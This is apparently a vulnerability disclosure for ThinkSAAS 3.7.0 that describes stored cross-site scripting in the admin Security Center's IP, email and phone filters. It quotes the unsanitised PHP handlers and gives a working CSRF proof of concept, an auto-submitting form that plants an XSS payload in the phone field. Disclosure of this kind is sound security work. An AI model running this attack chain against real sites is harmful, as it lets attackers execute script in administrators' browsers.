Summary

ThinkSAAS version 3.7.0 contains multiple stored Cross-Site Scripting (XSS) vulnerabilities. These vulnerabilities occur due to the lack of proper filtering of input variables in the app/system/action/anti.php file. The vulnerabilities are present in various functionalities such as IP filtering, Email filtering, and Phone number filtering in the admin panel's Security Center, all of which call anti.php.

Details

The application does not properly filter or sanitize user input for variables $ip, $email, and $phone, which are directly stored in the database and displayed in the admin panel. This can lead to stored XSS vulnerabilities. An attacker can exploit these vulnerabilities by injecting malicious JavaScript code into these fields, which will be executed when an admin views these pages.

IP Filtering

case "ipdo":
    $ip = tsTrim($_POST['ip']);
    if($ip){
        $isIp = $new['system']->findCount('anti_ip', array('ip' => $ip));
        if($isIp == 0){
            $new['system']->create('anti_ip', array('ip' => $ip, 'addtime' => date('Y-m-d H:i:s')));
            $arrIps = $new['system']->findAll('anti_ip');
            foreach($arrIps as $key => $item){
                $arrIp[] = $item['ip'];
            }
            fileWrite('system_anti_ip.php', 'data', $arrIp);
            $tsMySqlCache->set('system_anti_ip', $arrIp);
        }
        qiMsg('垃圾IP添加成功！');
    } else {
        qiMsg('垃圾IP不能为空！');
    }
    break;

Email Filtering

case "email_add":
    $email = tsTrim($_POST['email']);
    if($email){
        $new['system']->replace('anti_email', array('email' => $email), array('email' => $email, 'addtime' => date('Y-m-d H:i:s')));
        qiMsg('Email添加成功！');
    } else {
        qiMsg('Email不能为空！');
    }
    break;

Phone Number Filtering

case "phone_add":
    $phone = tsTrim($_POST['phone']);
    if($phone){
        $new['system']->replace('anti_phone', array('phone' => $phone), array('phone' => $phone, 'addtime' => date('Y-m-d H:i:s')));
        qiMsg('Phone添加成功！');

Proof of Concept (PoC)

An attacker can exploit these vulnerabilities using a Cross-Site Request Forgery (CSRF) attack. Below is an example of a PoC for the phone number field:

<html>
  <body>
    <form action="http://192.168.0.10:1057/index.php?app=system&ac=anti&ts=phone_add" method="POST">
      <input type="hidden" name="phone" value="&lt;svg onload=alert(8)&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

An attacker can place this PoC on their own website. When an administrator visits this malicious webpage, they unknowingly modify the $phone, $email, or $ip fields. The next time the administrator views these entries in the backend, the stored XSS payload will be executed. Affected URLs: http://your-ip/index.php?app=system&ac=anti&ts=ip http://your-ip/index.php?app=system&ac=anti&ts=email http://your-ip/index.php?app=system&ac=anti&ts=phone

Hebing123 / cve